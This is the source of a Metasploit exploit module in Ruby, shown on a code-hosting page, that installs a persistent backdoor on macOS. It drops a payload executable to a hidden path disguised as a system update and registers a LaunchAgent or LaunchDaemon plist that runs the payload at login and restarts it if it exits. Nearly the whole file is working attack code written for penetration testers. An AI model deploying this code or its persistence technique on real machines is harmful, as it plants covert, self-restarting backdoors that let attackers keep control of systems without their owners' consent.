Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/persistence.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = ExcellentRanking
10
11
include Msf::Post::Common
12
include Msf::Post::File
13
include Msf::Exploit::EXE
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Mac OS X Persistent Payload Installer',
20
'Description' => %q{
21
This module provides a persistent boot payload by creating a launch item, which can be
22
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
23
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
24
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
25
In either case the plist entry specifies an executable that will be run before or at login.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
29
'Targets' => [
30
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
31
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
32
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
33
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
34
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
35
],
36
'DefaultTarget' => 0,
37
'SessionTypes' => [ 'shell', 'meterpreter' ],
38
'DisclosureDate' => '2012-04-01',
39
'Platform' => [ 'osx', 'python', 'unix' ],
40
'References' => [
41
'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
42
'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
43
],
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([
53
OptString.new('BACKDOOR_PATH',
54
[
55
true, 'Path to hide the backdoor on the target.',
56
'~/Library/.<random>/com.system.update'
57
]),
58
OptBool.new('KEEPALIVE',
59
[true, 'Continually restart the payload exe if it crashes/exits.', true]),
60
OptBool.new('RUN_NOW',
61
[false, 'Run the installed payload immediately.', false]),
62
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
63
])
64
end
65
66
def exploit
67
check_for_duplicate_entry
68
69
if target['Arch'] == ARCH_PYTHON
70
payload_bin = "#!/usr/bin/env python\n" + payload.encoded
71
elsif target['Arch'] == ARCH_CMD
72
payload_bin = "#!/usr/bin/env bash\n" + payload.raw
73
else
74
payload_bin = generate_payload_exe
75
end
76
77
# Store backdoor on target machine
78
write_backdoor(payload_bin)
79
# Add plist file to LaunchAgents dir
80
add_launchctl_item
81
# tell the user how to remove the persistence if necessary
82
list_removal_paths
83
end
84
85
private
86
87
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
88
def add_launchctl_item
89
label = File.basename(backdoor_path)
90
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
91
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
92
item = <<-EOI
93
<?xml version="1.0" encoding="UTF-8"?>
94
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
95
<plist version="1.0">
96
<dict>
97
<key>Label</key>
98
<string>#{label}</string>
99
<key>Program</key>
100
<string>#{backdoor_path}</string>
101
<key>ProgramArguments</key>
102
<array>
103
<string>#{backdoor_path}</string>
104
</array>
105
<key>RunAtLoad</key>
106
<true/>
107
<key>OnDemand</key>
108
<#{keepalive?}/>
109
<key>KeepAlive</key>
110
<#{keepalive?}/>
111
</dict>
112
</plist>
113
EOI
114
115
if write_file(plist_path, item)
116
print_good("LaunchAgent added: #{plist_path}")
117
else
118
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
119
end
120
121
if run_now?
122
cmd_exec("launchctl load -w #{plist_path.shellescape}")
123
end
124
125
print_good('LaunchAgent installed successfully.')
126
end
127
128
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
129
# @return [String] path to drop the backdoor payload.
130
def backdoor_path
131
@backdoor_path ||= datastore['BACKDOOR_PATH']
132
.gsub('<random>') { Rex::Text.rand_text_alpha(8) }
133
.gsub(%r{^~/}, "/Users/#{user}/")
134
end
135
136
# raises an error if a Launch Agent already exists at desired same plist_path
137
def check_for_duplicate_entry
138
if file?(plist_path)
139
fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
140
end
141
end
142
143
# @return [Boolean] user wants the persistence to be restarted constantly if it exits
144
def keepalive?
145
datastore['KEEPALIVE']
146
end
147
148
# useful if you want to remove the persistence.
149
# prints out a list of paths to remove and commands to run.
150
def list_removal_paths
151
removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
152
removal_command << " ; rm #{plist_path}"
153
removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
154
removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
155
print_status("To remove the persistence, run:\n#{removal_command}\n")
156
end
157
158
# path to the LaunchAgent service configuration plist
159
# @return [String] path to the LaunchAgent service
160
def plist_path
161
@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
162
end
163
164
# @return [Boolean] user wants to launch the LaunchAgent immediately
165
def run_now?
166
datastore['RUN_NOW']
167
end
168
169
# @return [String] username of the session
170
def user
171
@user ||= cmd_exec('whoami').strip
172
end
173
174
# drops the file to disk, then makes it executable
175
# @param [String] exe the executable to drop
176
def write_backdoor(exe)
177
print_status('Dropping backdoor executable...')
178
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
179
180
if write_file(backdoor_path, exe)
181
print_good("Backdoor stored to #{backdoor_path}")
182
cmd_exec("chmod +x #{backdoor_path.shellescape}")
183
else
184
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
185
end
186
end
187
end
188
189